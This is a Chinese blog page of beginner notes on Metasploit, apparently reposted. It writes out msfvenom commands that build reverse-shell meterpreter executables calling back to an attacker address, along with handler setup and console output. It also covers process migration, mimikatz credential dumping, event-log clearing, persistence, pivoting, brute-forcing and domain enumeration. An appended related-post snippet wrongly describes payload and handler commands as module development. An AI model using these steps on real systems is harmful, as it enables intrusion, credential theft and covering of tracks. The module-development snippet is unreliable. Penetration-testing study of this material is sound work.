metasploit快速入门

  今天没上班,在小黑屋里看了一个一百多页的书《metasploit新手指南》,在此将笔记分享给大家。欢迎大家批评指正,共同学习进步。

 
 

metasploit新手指南

笔记 kali


0x01 
metapoit基本文件结构如下:

config metasploit的环境配置信息,数据库配置信息 
data渗透后模块的一些工具及payload,第三方小工具集合,用户字典等数据信息 
Db rails编译生成msf的web框架的数据库信息 
Documentation 用户说明文档及开发文档 
External metasploit的一些基础扩展模块 
Libs metasploit的一些基础类和第三方模块类 
Log metasploit运行时的一些系统信息和其他信息 
Modules metasploit的系统工具模块,包括预辅助模块(auxiliary),渗透模块(exploits),攻击载荷(payloads)和后渗透模块(posts),以及空字段模块(nops)和编码模块(Encode rs) 
Msfinscan 对bin文件偏移地址扫描 
Msfconsole metasploit的基本命令行,集成了各种功能。 
Msfelfscan对linux的elf文件便移地址进行扫描 
。 
msfmachscan 功能同msfelfscan 
msfpescan 对windows的pe格式文件偏移地址进行扫描。 
msfvenom 集成了msfpayload和msfencode的功能,效率更高替代了msf payload和msfencode 
Plugins metasploit的第三方插件接口. 
scripts metasploit的常用后渗透模块,区别与data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行。


0x02 
search 参数 
可以搜索到你metasploit存在利用模块 
use 参数: 
你想利用某个payload,或者某个模块都要用use参数。 
show options 参数 
他可以看到利用模块设置信息 
info 参数: 
他可以看到模块的所有的详细介绍信息 
set 参数: 
他是设置Basic targets选项,如set target 1 
set session 1 
back 参数: 
如果想重新选择一个新的利用模块就要用back返回。 
exit 参数: 
exit和back一样,一个是返回,一个是退出 
kill 参数: 
杀死一个进程。


0x03 
扫描阶段为了方便查看扫描的结果,那么就需要开启postgresql数据库。 
search portscanner 
use && 
show optionns 
run


0x04 
生成器msfvenom 
root@mvp:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.105.1 lPORT=8099 -f exe >shell.exe

0x05 
msfvenom编码生成 
https载荷突破防火墙的设置 
payload inject射入载荷(相当于把另一个payload添加进原有的会话id,从而返回一个新的绘画id) 
auto RDP Port 自动化开3389也可以开任意端口 
Inject in Memory 射入内存


0x06 
安卓payload生成


0x07 
cobaltstrike 
一款以metasploit为基础的GUI的框架式渗透工具。


0x08 
meterpreter命令分为: 
1、核心命令 
2、STDapi 文件指令 
3、STDapi 网络指令 
4、STDapi 用户接口指令 
5、STDapi web cam命令 
6、STDapi 文件系统命令 
7、Priv 提权命令 
8、priv 密码数据库命令 
9、Priv 时间戳命令 
攻击win7. 

root@mvp:/var/www/html# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.105.1 LPORT=6745 -f exe >win.exe 
No platform was selected, choosing Msf::Module::Platform::Windows from the payload 
No Arch selected, selecting Arch: x86 from the payload 
No encoder or badchars specified, outputting raw payload 
Payload size: 502 bytes 
Final size of exe file: 73802 bytes 
2

msf > use multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_https 
payload => windows/meterpreter/reverse_https 
msf exploit(handler) > set LHOST 192.168.105.1 
set lport 6745 
sessions 
sessions -i 1

migrate命令 
迁移目标机的一个进程到另一个进程 
meterpreter > getpid 
Current pid: 3232 
meterpreter > run post/windows/manage/migrate

[] Running module against PC-20170804GGMB 
[
] Current server process: win.exe (3232) 
[*] Spawning notepad.exe process to migrate to 
[+] Migrating to 3356 
[+] Successfully migrated to process 3356

脚本命令:rum_checkmv检查远程主机是虚拟机还是真正的主机。 
run getgui添加用户的命令 
run vnc看对方桌面 
run packetrecorder -i 0 查看目标系统的所有流量,并且进行数据包记录。 
load mimikatz 
clearev 清除事件日志


0x09 
一:获取meterpreter。 
1首先生成可执行文件 
root@mvp:~# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.105.1 LPORT=8934 -f exe > she.exe

 
  1. No platform was selected, choosing Msf::Module::Platform::Windows from the payload
  2. No Arch selected, selecting Arch: x86 from the payload
  3. No encoder or badchars specified, outputting raw payload
  4. Payload size: 543 bytes
  5. Final size of exe file: 73802 bytes```
  6. msf > **use multi/handler**
  7. msf exploit(handler) > **set payload windows/meterpreter/reverse_https**
  8. payload => windows/meterpreter/reverse_https
  9. msf exploit(handler) > **set LHOST 192.168.1.105**
  10. LHOST => 192.168.1.105
  11. msf exploit(handler) > **set LPORT 8934**
  12. LPORT => 8934
  13. msf exploit(handler) > **set SessionCommunicationTimeout 0**
  14. SessionCommunicationTimeout => 0
  15. msf exploit(handler) > **set exit0nsession false**
  16. exit0nsession => false
  17. msf exploit(handler) > **exploit -j**
  18. ---
  19. 二。Meterpreter基本隧道代理
  20. portfwd是meterpreter提供的一种基本端口转发,portfwd可以反弹单个端口到本地,并且监听。
  21. pivot是meterpreter的最常用的一种代理,可以轻松把你的机器代理到受害者内网环境下面介绍下pivot使用方法route add添加临时路由表。使用方法:route add添加临时路由表。
  22. 在metasploit添加一个路由表,目的是访问10.1.1.129,将通过meterpreter的会话1来访问。
  23. meterpreter>route
  24. meterpreter>run get_local_subnets 查看路由段
  25. 10.1.1.129 255.255.255.255 1 我们的路由标段是这个
  26. Ms exploit(handler)>route add 10.1.1.129 255.255.255.255 1添加路由至本地
  27. route print
  28. ===============================
  29. subnet netmask gateway
  30. 10.1.1.129 255.255.255.255 session 1

这里如果要代理10.1.1.129/24到session 1,则可以这么写。 
到这里pivot已经配置好了,你在msf里对10.1.1.129进行扫描(db_nmap)或者访问(psexe模块,ssh模块)将通过代理session 1 这个回话来访问,如果想通过其他应用程序来使用这个代理怎么办呢,这时候可以借助metasploit socks4a提供一个i监听隧道供其他应用程序访问。

首先使用sockes4a并且配置,监听端口 
msf > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description 
---- --------------- -------- ----------- 
SRVHOST 0.0.0.0 yes The address to listen on 
SRVPORT 1080 yes The port to listen on.

Auxiliary action:

Name Description 
---- ----------- 
Proxy

msf auxiliary(socks4a) > exploit -y 
[] Auxiliary module execution completed 
msf auxiliary(socks4a) > 
[
] Starting the socks4a proxy server

查看监听端口: 
msf auxiliary(socks4a) > netstat -ano | grep "1080" 
[*] exec: netstat -ano | grep "1080"

tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN off (0.00/0/0)

端口已经监听,接着配置proxychains

0x10 
权限维护。metasploit后门并不怎么好用,建议拿到控制权限后利用外部第三方后门。 
一msf中自带后门。 
persistence 
metsvc 
scheduleme & schtasks


0x11 
信息搜集 
要想很好的搜集信息并为了有一个良好的查看结果,那么我们要做好以下启动msfconsole的三步:启动数据库;查看数据库;链接数据库。

端口扫描:search portscan 
目前两大扫描模式:syn/tcp


smb_version识别windows的版本 
use auxiliary/scanner/smb/smb_version


mssql_ping默认mssql会监听1433端口或者一个随机的tcp端口,如果监听的是随机端口,可以通过UDP在1433端口查询具体监听的是哪个端口。 
use auxiliary/scanner/mssql/mssql_ping


ssh_version识别ssh软件版本 
auxiliary/scanner/ssh/ssh_version


ftp_version寻找目标网络中ftp server


 

暴力破解

kali自带字典路径 
/usr/share/metasploit-framework/data/wordlists

auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/http/tomcat_mgr_login

假设tomcat帐号密码爆破成功,下面可以拿shell: 
exploit/multi/http/tomcat_mgr_deploy


metasploit常见探测服务模块:

 

**端口扫描**

auxiliary/scanner/portscan 
scanner/portscan/ack 
scanner/portscan/ftpbounce ftp跳端口扫描 
scanner/portscan/syn 
scanner/portscan/tcp 
scanner/portscan/xmss tcp"xmss"端口扫描


 

smb扫描

auxiliary/scanner/smb/smb_enumusers smb枚举 
auxiliary/scanner/smb/pipe_dcerpc_auditor 返回dcerpc信息 
auxiliary/scanner/smb/smb2 扫描smb2协议 
auxiliary/scanner/smb/smb_enumshares 扫描smb共享文件 
auxiliary/scanner/smb/smb_enumusers 枚举系统上的用户 
auxiliary/scanner/smb/smb_login smb登录 
use windows/smb/psexec smb登录 
auxiliary/scanner/smb/smb_lookupsid 扫描组的用户 
auxiliary/scanner/smb/smb_version 扫描系统版本


 

mssql扫描

admin/mssql/mssql_enum mssql枚举 
admin/mssql/mssql_exec mssql执行命令 
admin/mssql/mssql_sql mssql查询 
scanner/mssql/mssql_login mssql登录工具 
另外还有一个mssql_payload模块


 

smtp扫描

auxiliary/scanner/smtp/smtp_enum smtp枚举 
auxiliary/scanner/smtp/smtp_version 扫描smtp版本


 

snmp扫描

auxiliary/scanner/snmap/community 通过snmp扫描设备 
scanner/snmap/community snmp扫描


 

ssh扫描

auxiliary/scanner/ssh/ssh_login ssh登录 
auxiliary/scanner/ssh/ssh_login_pubkey ssh公共 密钥认证登录 
auxiliary/scanner/ssh/ssh_version 扫描ssh版本测试


 

telnet扫描

auxiliary/scanner/telnet/telnet_login telnet登录 
auxiliary/scanner/telnet/telnet_version telnet版本


 

tftp扫描

auxiliary/scanner/tftp/tftpbrute 扫描tftp的文件 
scanner/ftp/anonymous ftp版本扫描


 

arp扫描

auxiliary/scanner/discovery/arp_sweep 
auxiliary/scanner/discovery/udp_prode 扫描UDP服务主机 
auxiliary/scanner/discovery/udp_sweep 检测常用的udp服务 
auxiliary/sniffer/psnuffle sniffer密码

scanner/vnc/vnc_none_auth vnc服务无认证扫描模块


 

web服务器信息扫描模块

auxiliary/scanner/http下面的http_version,open_proxy,robots_txt,frontpage_login,tomcat_administration,tomcat_utf8_traversal,options,drupal_views_user_enum,scraper,svn_scanner,trace,vhost_scanner,webdav_internal_ip,webdav_scanner,webdav_website_content


 

文件目录扫描模块

auxiliary/scanner/http/下的backup_file,brute_dirs,copy_of_file,dir_listing,dir_scanner,dir_webdav_unicode_bypass,file_sanme_dir,files_dir,http_put,ms09_020_webdav_unicode_bypass,prev_dir_same_name_file,replace_ext,soap_xml,trace_axd,verb__auth_bypass

auxiliary/scanner/dos/http/apache_range_dos


 

web应用程序扫描模块

auxiliary/scanner/http/blind_sql_query 
auxiliary/scanner/http/error_sql_injection 
auxiliary/scanner/http/http_tracersal 
auxiliary/scanner/http/rails_mass_assignment 
exploit/multi/http/lcms_php_exec


0x12 
反弹meterpreter 
尝试提权2012服务器 
尝试当前帐号bypass提权 
相关信息搜集 域信息搜集 
net user /domain 
net group "domain computer" /domain 
net group "domain admins" /domain 查看域管理员 
net localgroup administrators 
net view /domain 
信息分析获取一台服务器权限 
net user \ip\c内网渗透的工作:域信息搜集入侵 
mimikaz抓取明文 
查看抓取到的用户的详细信息net user xxx /domain

尝试使用域令牌假冒 
利用smb传递 
1使用当前获取到的两个用户权限,快速的进行扫描 
2smb_login扫描 
3端口转发进内网 
4meterpreter端口转发 
5msf的socks4a转发

+
 
 https://www.zybuluo.com/jasun/note/841229
好了,我要吃饭了,饿坏了,。

转载于:https://www.cnblogs.com/NBeveryday/p/7301107.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Metasploit Bootcamp by Nipun Jaswal English | 25 May 2017 | ASIN: B0725ZGX9H | 230 Pages | AZW3 | 16.52 MB Key Features A fast-paced guide that will quickly enhance your penetration testing skills in just 7 days Carry out penetration testing in complex and highly-secured environments. Learn techniques to Integrate Metasploit with industry's leading tools Book Description The book starts with a hands-on Day 1 chapter, covering the basics of the Metasploit framework and preparing the readers for a self-completion exercise at the end of every chapter. The Day 2 chapter dives deep into the use of scanning and fingerprinting services with Metasploit while helping the readers to modify existing modules according to their needs. Following on from the previous chapter, Day 3 will focus on exploiting various types of service and client-side exploitation while Day 4 will focus on post-exploitation, and writing quick scripts that helps with gathering the required information from the exploited systems. The Day 5 chapter presents the reader with the techniques involved in scanning and exploiting various services, such as databases, mobile devices, and VOIP. The Day 6 chapter prepares the reader to speed up and integrate Metasploit with leading industry tools for penetration testing. Finally, Day 7 brings in sophisticated attack vectors and challenges based on the user's preparation over the past six days and ends with a Metasploit challenge to solve. What you will learn Get hands-on knowledge of Metasploit Perform penetration testing on services like Databases, VOIP and much more Understand how to Customize Metasploit modules and modify existing exploits Write simple yet powerful Metasploit automation scripts Explore steps involved in post-exploitation on Android and mobile platforms. About the Author Nipun Jaswal is an IT security business executive and a passionate IT security researcher with more than seven years of professional experience, who possesses knowledge in
Metasploit是一款常用的漏洞利用工具,它主要由Ruby编写而成,能够帮助渗透测试人员、安全工程师和攻击者快速发现和利用漏洞。 在Metasploit中,可以通过编写module来扩展其功能。本文将介绍如何开发一个简单的Metasploit模块。 在开始之前,需要安装Metasploit框架。可以在官方网站(https://www.metasploit.com/)上下载并安装。 首先,我们需要创建一个新的模块。在终端中输入以下命令: ``` msfvenom --list payloads ``` 这将列出所有可用的payload。我们将使用其中的“windows/meterpreter/reverse_tcp”,该payload将在远程Windows系统上建立一个反向TCP连接。 接下来,我们需要编写一个模块,该模块将使用我们刚刚生成的payload。打开终端并输入以下命令: ``` msfconsole ``` 这将启动Metasploit控制台。接下来,输入以下命令以创建一个新的模块文件: ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your IP> LPORT=<your port> -f raw -o payload.raw ``` 这将生成一个名为payload.raw的文件,该文件包含我们的payload。接下来,我们需要创建一个新的模块文件并将其命名为“reverse_tcp.rc”: ``` use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <your IP> set LPORT <your port> set ExitOnSession false exploit -j -z ``` 这个模块使用“exploit/multi/handler”模块来建立一个反向TCP连接。它还使用我们刚刚生成的payload并设置了LHOST和LPORT。最后,它使用“-j”选项运行模块并保持在后台。 现在,我们可以使用以下命令来运行我们的模块: ``` msfconsole -r reverse_tcp.rc ``` 这将启动Metasploit控制台并运行我们的模块。此时,Metasploit将等待远程Windows系统与我们建立反向TCP连接。 以上就是一个简单的Metasploit模块的开发过程,这只是Metasploit模块开发的入门级别。更高级的Metasploit模块可以通过编写Ruby代码来实现更复杂的功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值